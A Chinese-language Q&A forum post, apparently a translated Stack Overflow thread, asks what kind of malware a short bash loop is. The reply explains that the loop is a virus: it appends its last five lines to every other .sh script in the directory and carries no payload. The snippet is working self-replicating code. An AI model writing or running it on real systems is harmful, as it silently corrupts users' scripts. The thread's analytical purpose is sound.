包含恶意软件的Bash脚本

时间:2014-12-25 10:19:11

标签: bash polymorphism malware

考虑以下代码片段(bash脚本):

for i in *.sh; do
    if test ./$i != $0; then
        tail -n 5 $0 | cat >> $i ;
    fi
done

这是什么类型的恶意软件?是隐身还是/和 多态和有效载荷效应是什么?如果有的话?

有人可以帮我解决这个问题吗...谢谢

1 个答案:

答案 0 :(得分:0)

它是一种病毒,会将自身附加到当前工作目录中每个*.sh脚本的末尾。它本身不包含任何有效载荷,但它的许多副本可能会造成麻烦。